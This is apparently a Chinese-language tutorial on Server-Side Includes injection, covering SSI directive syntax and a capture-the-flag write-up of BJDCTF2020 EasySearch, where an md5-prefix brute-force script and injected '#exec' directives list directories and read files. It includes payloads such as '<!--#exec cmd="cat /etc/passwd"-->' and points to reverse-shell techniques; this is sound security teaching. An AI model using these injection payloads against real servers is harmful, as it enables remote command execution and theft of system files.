0x00 知识点
SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
重点: ssi是赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,若在网站目录中发现了.stm .shtm .shtml等则考虑该网站可能存在SSI注入漏洞
0x01 SSI语法
首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。
SSI指令基本格式:<!-– 指令名称=”指令参数”>
①显示服务器端环境变量<#echo>
本文档名称:
<!–#echo var=”DOCUMENT_NAME”–>
现在时间:
<!–#echo var=”DATE_LOCAL”–>
显示IP地址:
<!–#echo var=”REMOTE_ADDR”–>
②将文本内容直接插入到文档中<#include>
<!–#include file=”文件名称”–>
<!–#include virtual=”index.html”–>
<!–#include virtual=”文件名称”–>
<!–#include virtual=”/www/footer.html” –>
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
<!–#flastmod file=”文件名称” –>
文件的长度:
<!–#fsize file=”文件名称” –>
④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!–#exec cmd=”文件名称”–>
<!–#exec cmd=”cat /etc/passwd”–>
<!–#exec cgi=”文件名称”–>
<!–#exec cgi=”/cgi-bin/access_log.cgi”–>
将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。
⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)
⑥高级SSI可设置变量使用if条件语句。
补充说明:
1.<!– –>是HTML语法中表示注释,当WEB服务器不支持SSI时,会忽略这些信息。
2.#exec 为SSI指令之一。
3.cmd 为exec的参数, cat /etc/passwd为参数值,在本指令中指将要执行的命令。
4. <!–与#号间无空格,只有SSI指令与参数间存在空格。
0x02 CTF应用
[BJDCTF2020]EasySearch
扫描目录存在.swp备份文件,访问得到源码
<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>
第一个判断很明显就是一个套路的md5值相等问题,掏出脚本
import hashlib a = input("输入6位数") for i in range(1,100000001): s = hashlib.md5(str(i).encode('utf-8')).hexdigest()[0:6] if s == a: print(i) break

输入进去,F12打开得到路径回显

看到shtml后缀,考虑SSI注入,直接来一波命令执行先列个目录,最后在上级目录找到关键信息。
<!--#exec cmd="ls ../"-->
接着读取即可获得flag<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
利用SSI进行反弹shell及exec过滤绕过参看:https://blog.csdn.net/whatiwhere/article/details/84729008